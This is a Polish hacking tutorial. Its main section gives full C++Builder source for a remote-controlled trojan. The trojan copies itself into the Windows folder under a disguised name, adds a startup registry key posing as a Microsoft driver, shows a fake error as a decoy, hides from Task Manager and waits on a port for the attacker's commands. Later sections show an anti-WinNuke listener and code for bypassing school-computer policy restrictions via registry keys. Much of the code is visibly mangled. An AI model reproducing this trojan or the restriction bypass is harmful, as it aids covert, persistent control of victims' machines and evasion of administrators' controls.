*** Trojany ***
Tu sprawa troszeczkę się komplikuje, bo musimy napisać dwie aplikacje - klient i serwer...
Jest to troszkę bardziej skomplikowane niż prościutki mail-bomber, ponieważ weźmy np. serwer - musi on działać niewidocznie w tle, musi uruchamiać się za każdym startem komputera. Dobra dosyć pitolenia, przejde do rzeczy. Każdy krok będę tstarał się jak najdokładniej tłumaczyć...
PS.Przedstawiam tu prostego trojana - będzie miał tylko 2 opcje wysuń/wsuń CD, jednak jeśli ktoś załapie o co chodzi doklei sobie inne procedury
Na początek aplikacja Serwera:
Trojan powinien się instalować w katalogu windowsa i być uruchamiany przy każdym starcie systemu więc:
1. Wsawiamy TTimer z nazwą "Kopiuj" i "Interval" ustawiamy na "1000" ms
2. Pod Timerem wstawiamy:
void __fastcall TMForm::KopiujTimer(TObject *Sender)
{
BufferSize = GetWindowsDirectory(polish,0);
WinDir.SetLength(BufferSize+1);
GetWindowsDirectory(WinDir.c_str(),BufferSize+1);
strcpy(Dir1,WinDir.c_str());
Dir1[BufferSize-1] = '';
Dir1[BufferSize] = 'H';
Dir1[BufferSize+1] = 'O';
Dir1[BufferSize+2] = 'O';
Dir1[BufferSize+3] = 'K';
Dir1[BufferSize+4] = 'S';
Dir1[BufferSize+5] = '.';
Dir1[BufferSize+6] = 'E';
Dir1[BufferSize+7] = 'X';
Dir1[BufferSize+8] = 'E';
Dir1[BufferSize+9] = '0';
AnsiString tmp1 = ParamStr(0);
char tmp2[100];
strcpy(tmp2,tmp1.c_str());
char File1[30];
int tmplength = strlen(tmp2);
int lastslash;
for (int i = tmplength-1; i > 0; i--)
{
if (tmp2
== '')
{
lastslash = i;
break;
}
}
for (int i = lastslash+1; i < tmplength; i++)
{
File1[i-lastslash-1] = tmp2;
}
File1[tmplength-lastslash-1] = '0';
CopyFile(File1,Dir1,FALSE);
if (ParamStr(0) != Dir1)
{
Kopiuj->Enabled = false;
MessageBox(0,"Low Memory","System error",MB_ICONWARNING);
}
TRegistry *Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
if(Reg->OpenKey(
"SOFTWAREMicrosoftWindowsCurrentVersionRunServices",
true))
Reg->WriteString("Microsoft Manual Driver ", Dir1);
Reg->CloseKey();
delete Reg;
}
3. W pliku nagłówkowym (OpenSource/Header File) - który najczęściej ma nazwę Unit1.h wstawiamy pod "private":
private: // User declarations
AnsiString WinDir;
int BufferSize;
char Dir1[50];
4. W pliku Unit1.cpp dodajemy jeszcze bibliotekę:
#include <Registry.hpp>
Już wszystko wyjaśniam... Pod timerem kopiujemy nasz plik do katalogu windowsa pod nazwę "HOOKS.EXE" oraz dodajemy wpis w rejestrze w gałęzi HKEY_LOCAL_MACHINESSOFTWAREMicrosoftWindows CurrentVersionRunServices o nazwie Microsoft Manual Driver, co zapewni start programu przy każdym uruchomieniu systemu. Dalej zachodzi porównanie jeżeli plik nie jest w katalogu windowsa to pokaż wiadomość "Low Memory", która jest dla zmyłki. Uff... to dpiero początek
5. Powinniśmy sprawić, aby nasz trojan nie był widoczny w okienku Task Menagera Ctrl-Alt-Del.Należy wywołać funkcję RegisterServiceProcess, która znajduje się w Kernel32.dll.
Dodajemy:
//---Plik nagłówkowy---
typedef DWORD (__stdcall *pRegFunction)(DWORD, DWORD);
private:
HINSTANCE hKernelLib;
pRegFunction RegisterServiceProcess;
//------plik CPP------
#define RSP_SIMPLE_SERVICE 1
#define RSP_UNREGISTER_SERVICE 0
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
hKernelLib = LoadLibrary("kernel32.dll");
if(hKernelLib)
{
RegisterServiceProcess =
(pRegFunction)GetProcAddress(hKernelLib,
"RegisterServiceProcess");
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_SIMPLE_SERVICE);
}
}
__fastcall TForm1::~TForm1()
{
if(hKernelLib)
{
if(RegisterServiceProcess)
RegisterServiceProcess(GetCurrentProcessId(),
RSP_UNREGISTER_SERVICE);
FreeLibrary(hKernelLib);
}
}
//--------------------
Jeszcze plik Project Source (View->Project Source) powinien wyglądać mniej więcej tak:
//--------------------
#include <vcl.h>
#pragma hdrstop
USERES("serwer.res");
USEFORM("main.cpp", MForm);
//--------------------
WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)
{
try
{
Application->Initialize();
Application->CreateForm(__classid(TMForm), &MForm);
Application->CreateForm(__classid(TChat), &Chat);
Application->CreateForm(__classid(TEML), &EML);
Application->ShowMainForm = false;//zwróććie uwagę na te dwie linijki!!!!!
ShowWindow(Application->Handle, SW_HIDE);//!!!!!
Application->Run();
}
catch (Exception &exception)
{
Application->ShowException(&exception);
}
return 0;
}
//--------------------
Uff. najgorsze mamy za sobą
Teraz jeszcze musimy się komunikować z serwerem naszej ofiary...
6. Wstawiamy TNMMSGServ z nazwą "Serv" i ustawiamy "Port" na "36"
7. Pod zdarzeniem "onMsg" "Serv" wstawiamy:
if(sMsg == "open-cd")mciSendString("Set cdaudio door open wait", polish, 0 ,Handle);
if(sMsg == "close-cd")mciSendString("Set cdaudio door closed wait", polish, 0 ,Handle);
8. Na początku pliku Unit1.cpp dodajemy bibliotekę:
#include
Teraz jeszcze należy przekompilować nasz projekt z wszystkimi potrzebnymi bibliotekami, aby działał na każdej maszynie.
Klikamy "Project"->"Options" i wybieramy zakładkę "Linker" - tam odznaczamy opcje "Use dynamic RTL" i jeszcze zakładka "Packages" - tam odznaczamy opcję "Build with runtime packages". Zwiększy to trochę objętość naszego programu. Acha dam jeszcze dobrą radę użyjcie programu UPX (najlepiej tak: upx -9 serwer.exe - wtedy uzyskacie najwyższą kompresję), który można śćiąnąć gdzieś z internetu. UPX zmniejszy objętość serwera do ok 160KB(!) z wcześniejszych ok 340KB.
I nadszedł czas na klienta
Tu sprawa jest o wiele prostsza. Wystarczy tylko pod określony host wysłać określoną komendę (w naszym przypadku "open-cd")
1. Wstawiamy TEdit z nazwą "IP"
2. Wstawiamy 2 TButtony z nazwami "Open" i "Close"
3. Wstawiamy TNMMsg z nazwą "klient" i Portem "36"
4. Przy zdarzeniu onClick Buttona "Open" wstawiamy:
void __fastcall TForm1::OpenClick(TObject *Sender)
{
klient->Host = IP->Text;
klient->PostIt("open-cd");
}
5. Przy zdarzeniu onClick Buttona "Close" wstawiamy
void __fastcall TForm1::CloseClick(TObject *Sender)
{
klient->Host = IP->Text;
klient->PostIt("close-cd");
}
Uwaga: w TEdit`cie o nazwie "IP" wpisujemy adres hosta, na którym uruchomiony jest serwer... I mamy prostego trojana !!!
Jeśli chcemy dodać nowe opcje to piszemy w kliencie zeby wysłał jakąś tam np "komenda1", a w serwerze if(sMsg == "komenda1") i wstawiamy jakąś procedurę... Proste nie
Mam nadzieje że zrozumieliście. Jeśli nie to próbujcie...
*** AntyNuke ***
Tutaj postaram wam przedstawić prosty anty-nuker własnej roboty
Każdy chyba wie, że programiści z Mirro$oftu nie przykładają się aby zabezpieczyć, czy nawet ustabilizować swoje oprogramowanie. Tak jest z winDowsem - otwarty port 139 może narazić nas na wyżucenie z sieci, co jest troszkę wkurzające.
Nie wiem jak to jest z Windowsem Me ale z 95/98 wystarczy zmienić pewną wartość w rejestrze, aby zamknąć owy nieszczęśliwy port 139
1. Dodajemy w nagłówku
#include
2. Przy zdarzeniu "onCreate" Formularza wpisujemy kod:
void __fastcall TForm1::FormCreate(TObject *Sender)
{
int x = 0;
TRegistry *Registry;
Registry = new TRegistry;
Registry->RootKey = HKEY_LOCAL_MACHINE;
Registry->OpenKey("System",x);
Registry->OpenKey("CurrentControlSet",x);
Registry->OpenKey("Services",x);
Registry->OpenKey("VxD",x);
Registry->OpenKey("MSTCP",x);
Registry->WriteString("BSDUrgnet","0");
}
Ale to nie wszystko przecież zmianę w rejestrze można zrobić ręcznie bez żadnego dodatkowego pisana programów, dlatego my dodamy jeszcze komponent TNMMSGServ, który nasłuchiwał będzie na porcie 139 i dodawał do memo każdą przesyłaną na ten port wiadomość. Wtedy za każdym razem, gdy ktoś będzie chciał połączyć się z otwartym porem w Windowsie (który zamkneliśmy poprzez rejestr) łączy się z naszym programem. Nasza aplikacja podnosi wtedy alarm i wiemy, że coś jest nie tak. W sumie taki bardzo uproszczony firewall
3. Na początku wstawiamy TNMMSGServ z nazwą "Serv" i Portem ustawionym na "139"
4. Wstawiamy TMemo z nazwą Memo
5. Przy zdarzeniu onClientContact TNMMSGServ:Serv wpisujemy kod:
void __fastcall TForm1::ServClientContact(TObject *Sender)
{
sndPlaySound("c:windowsmediatada.wav", SND_ASYNC);
}
6. W nagłówku dodajemy:
#include
7. Przy zdarzeniu onMsg TNMMSGServ:Serv dodajemy:
Memo->Lines->Add(sMsg);
Teraz kopilujemy program i gdy wchodzimy do sieci włączamy go zminimalizowanego. Za każdym razem, gdy ktoś będzie chciał się połączyć poprzez WinNuke`a dostaniemy alarm w postaci dźwięku, wtedy otwieramy program i sprawdzamy, może to nie Nuker, tylko jakaś inna aplikacja przesłała wiadomość, którą możemy odczytać w Memo ;P
*** Ograniczenia dostępu w Windowsie ***
Jak już napisałem wyżej Micro$oft sqad nie postarał się o zabezpieczenia swojego systemu. Tak też jest z ograniczeniadmi dostępu (najczęściej w komputerach w szkolnej pracowni)nie można np. zmienić rozdzielcości ekranu itp. Ale to można w łatwy sposób obejść prostym programikiem ! Całe te zabezpieczenia zawarte są w rejestrze, jednak czasami i dostęp do rejestru jest zabezpieczony
więc nie ma to jak przekompilowanie własnego programu, który dokonuje zmian w rejestrze zdejmując równocześnie zabezpieczenia (!)
1. Dodajmy bibliotekę obsłuki rejestru:
#include
2. Przy zdarzeniu onClick TButtona wpisujemy:
void __fastcall TForm1::ButtonClick(TObject *Sender)
{
int x=0;
int buf=0x01;
int bufno=0x00;
TRegistry *Registry;
Registry = new TRegistry;
Registry->RootKey = HKEY_CURRENT_USER;
Registry->OpenKey("Software",x);
Registry->OpenKey("Microsoft",x);
Registry->OpenKey("Windows",x);
Registry->OpenKey("CurrentVersion",x);
Registry->OpenKey("Policies",x);
Registry->OpenKey("Explorer",x);
Registry->WriteBool("NoDesktop",buf);
}
Uwaga:
bufno - oznacza, że zdejmujemy zabezpieczenie
buf - oznacza że zakładamy ograniczenie
Takim to sposobem zyskaliśmy sobie dostęp do pulpitu... pokazałem na przykładzie, a teraz spis poszczególnych gałęzi:
HKLMSoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork
HideSharePwds - ukrywanie haseł udostępniania poprzez zastąpienie ich na ekranie gwiazdkami
DisablePwdCaching - wyłączenie buforowania haseł
AlphanumPwds - wymaganie korzystania z hasła alfanumerycznego
MinPwdLen - minimalna długość hasła
NoDialIn - brak możliwości odbierania telefonu
NoPrintSharing - brak możliwości udostępniania drukarek innym użytkownikom
Kolejne klucze tyczą się już konkretnego użytkownika, czyli w kategorii HKEY_CURRENT_USER lub HKEY_USERużytkownik
HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesSystem
NoDispCPL - wyłączenie dostępu do właściwości ekranu
NoDispBackgroundPage - wyłączenie dostępu do zakładki właściwości ekranu TŁO
NoDispScrSavPage - wyłączenie dostępu do zakładki właściwości ekranu WYGASZACZ EKRANU
NoDispApperancePage - wyłączenie dostępu do zakładki właściwości ekranu WYGLąD
NoDispSettingsPage - wyłączenie dostępu do zakładki właściwości ekranu USTAWIENIA
NoSecCPL - wyłączenie dostępu do arkusza właściwości HASŁA
NoPwdPage - wyłączenie dostępu no zakładki ZMIEŃ HASŁO arkusza HASŁA
NoAdminPage - wyłączenie dostępu do zakładki ZDALNE ADMINISTROWANIE arkusza HASŁA
NoProfilePage - wyłączenie dostępu do zakładki PROFILE UŻYTKOWNIKA arkusza HASŁA
NoDevMgrPage - wyłączenie dostępu do zakładki MENADŻER URZąDZEŃ arkusza SYSTEM
NoConfigPage - wyłączenie dostępu do zakładki PROFILE SPRZĘTU arkusza SYSTEM
NoFileSysPage - wyłączenie dostępu do arkusza włąściwości SYSTEM PLIKÓW
NoVirtMemPage - wyłączenie dostępu do arkusza włąściwości PAMIĘĆ WIRTUALNA
DisableRegistryTools - wyłączenie dostępu do Edytora Rejestru
HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesNetwork
NoNetSetup - wyłączenie dostępu do właściwości sieci
NoNetSetupIDPage - wyłączenie dostępu do zakładki właściwości sieci IDENTYFIKACJA
NoNetSetupSecurityPage - wyłączenie dostępu do zakładki właściwości sieci KONTROLA DOSTĘPU
NoFileSharingControl - brak kontroli nad współużytkowaniem plików
NoPrintSharingControl - brak kontroli nad współużytkowaniem drukarek
NoEntireNetwork - brak folderu CAŁA SIEĆ
NoWorkgroupContents - brak składników grup roboczych w OTOCZENIU SIECIOWYM
HKCUSoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer
NoPrinterTabs - ukrycie zakładek OGÓLNE i SZCZEGÓŁY arkusza właściwości drukarek
NoDeletePrinter - brak możliwości usuwania drukarek
NoAddPrinter - brak możliwości dodawania drukarek
NoStartMenuSubFolders - ukrywa podfoldery menu START
NoRun - brak polecenia RUN
NoSetFolders - brak polecenia USTAWIENIA w menu START
NoSetTaskbar - brak właściwości paska zadań
NoFind - brak polecenia znajdź
NoDrives - brak dostępu do dysków logicznych (tyle jedynek ile kolejnych dysków ma być ukrytych)
NoNetHood - brak dostępu do OTOCZENIA SIECIOWEGO
NoDesktop - brak pulpitu
NoClose - brak możliwości zamknięcia Windows
NoSaveSettings - wyłączone zachowywanie ustawień przy wyjściu z Windows
RestorictRun (Klucz) - lista dozwolonych aplikacji
HKCUSoftwareMicrosoftWindowsCurrentVersionPolicies WinOldApp
Disabled - brak możliwości uruchamiania aplikacji DOS'u
NoRealMode - brak możliwości uruchamiania aplikacji DOS'u w trybie pojedynczej aplikacji
Build All
[/b]